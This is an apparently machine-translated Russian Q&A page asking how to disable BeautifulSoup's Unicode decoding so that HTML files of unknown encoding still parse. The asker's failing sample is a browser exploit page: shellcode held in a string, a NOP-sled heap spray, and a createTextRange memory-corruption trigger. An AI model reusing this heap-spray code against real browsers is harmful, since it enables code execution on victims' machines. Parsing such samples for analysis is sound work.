Есть ли способ отключить Unicode-декодирование BeautifulSoup? - PullRequest
0 голосов
/ 20 ноября 2018

Я пытаюсь очистить большое количество HTML-файлов неизвестных кодировок.Я выбрал BeautifulSoup вместо парсера lxml, потому что он быстрый и имеет простой API, но я обнаружил, что ему не всегда удается проанализировать файлы из-за его попыток декодировать их как Unicode.

Теперь я неон обязательно нужен для декодирования текста в HMTL, а скорее для определения структуры DOM и включенных тегов;если они содержат больше данных, я предпочитаю их декодировать сам.Я пытался исключить некоторые кодировки для решения этой проблемы, но это также не всегда работает.

Может ли эта функция каким-то образом отключена?

Вот база для моего парсера:

из bs4 import BeautifulSoup, Comment, Tag

class HTMLParser():
    def __init__(self, data, exclude_encodings=None):
        self.html_tree = BeautifulSoup(data, 'lxml', exclude_encodings=exclude_encodings)
        self._tag_handlers = dict()

    def start(self):
        for node in self.html_tree.recursiveChildGenerator():
            if isinstance(node, Tag):
                if node.name in self._tag_handlers and self._tag_handlers[node.name] is not None:
                    self._tag_handlers[node.name](node)
            elif isinstance(node, Comment):
                self._handle_comment(node)

Обработчики тегов загружаются в соответствии с тем, что необходимо проанализировать и как.

Кроме того, здесь приведен примерhtml, вызывающий проблему:

<html> <head> <script language="javascript"> var shellcode_str = "}yÒüiõ—·BxC‘¾¿f±© Ñâ=*ù²|4{öã'uH@ ™´˜°q$áv?gN›’Ö¨%5I ,Ÿ(Ô“¸O-µA¶sFº‡øq!ë|+ü»~x'J¹B—¸=¶¾’“F9Õ·÷Ö/r?7CzNI:â$@ù–™wpg„ýf˜±A4º´²›%‘¨µy{ õt³,¿©O°v5GãþÀá2ÐÔ- K1à}<ŸuHyutB¿´ ø@kÔ²™‘˜¾»’CA#õ|fë?ý"ü-I ÖÓá/¶x7N,†ùwvzg}€â~ ¹%=±ºJ›sp'Ÿr5°¨H–4“ Kµ<ˆÕ— à$³©G{FqO¸·‰ã?Af·wq)ÿÇÆÁø–;á3ü{Nz ù…ë-~H¨›±º ³vu=C°0â}àtK™@¸$<¹©¶GJ¾|xg%Ÿ“B´’‘µsy ²p41Ö˜#Ô/ý;ãO—ÕI,»'F¿õr75†àköÀâzHu}KŒë Ÿp"á*÷ãv/´rO·~qf³’A ˜¹±B7=+Õ¿—C4N‡ø°»‘st,{F¾©IyÐÔƒý™g¸x5$%–|'“G-@?Jwõ0üº²¶›¨µ< ÓÖ„ùs w<¿°˜¸t âgCf7?¹»,(Ñãz} Òà¾3Ô¶´—Jº–%{Õ³·Ÿëý:õ±™µ“©u~pyvI’¨ø/GrFKqáH|)Ö!Áù‘…üxNzOq'u=²›{As8á$~5}4yàB|9ã@-™âCvÖtw4¾K» ü·F¿‘iý€õˆø7¶Jp›ºr x%µ“¹2ëGf‰ùB±5?© ˜/-¨’@O–=ŸÔ°—¸,²g³$<I´Õ'ANHÙÈÙt$ô¸ØÉZ•[+ɱH1CƒëüCâ-5²ÍÆC|D#r®2''~1eÄõž_{¿‘è6™œéö%r)˜Ù‰~zàAs{%¿|)þË/Þ‹ŽóUÇt‰Uªyužò<¸œ9ö3VÉ ’§28Úk ô×rI3¡Gµr5a”gâL&ȃŸ@0LûLŸs,ÅÛWè¸ö©kn©ÔÏ­¡÷ØëŸéè`f{gR)×ïÞ¢ñè!™EfÜ"µ®våØŠ÷n2" Iœ€9\NhPS±ˆ[¹Ú"¡*ﲩ¸‡°©­ =O§£kÇP]6“Á¢íÙÂ)ŒÙl y*;o,5–Ñ£†[èáÃáßyÍw 2— ædý ŽÐ¥r«pç`‹z^Ô\j½Ÿfj‚IOèòÿ£0"; var nop_str = "ùHA"; var shellcode_total_length = 20 + shellcode_str.length; while(nop_str.length < shellcode_total_length) { nop_str += nop_str; } var nop_final = nop_str.substring(0,shellcode_total_length); var remaining_nops = nop_str.substring(0,nop_str.length-shellcode_total_length); while(remaining_nops.length + shellcode_total_length < 0x40000) { remaining_nops += nop_final; } var arr = new Array(); var counter = 0; var max_size = 2020; function func() { spain_id.innerHTML = Math.round((counter / max_size) * 100); if(counter < max_size) { arr.push(remaining_nops + shellcode_str); counter++; } else { spain_id.innerHTML = 100; element = document.createElement("input"); element.type = "image"; _FDPS = element.createTextRange(); } } function interval_func() { setInterval('func()', 5) } </script>

В результате происходит анализ объекта BeautifulSoup без дочерних элементов, даже если у него явно есть узел сценария, и поэтому мой метод запуска неэффективен.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...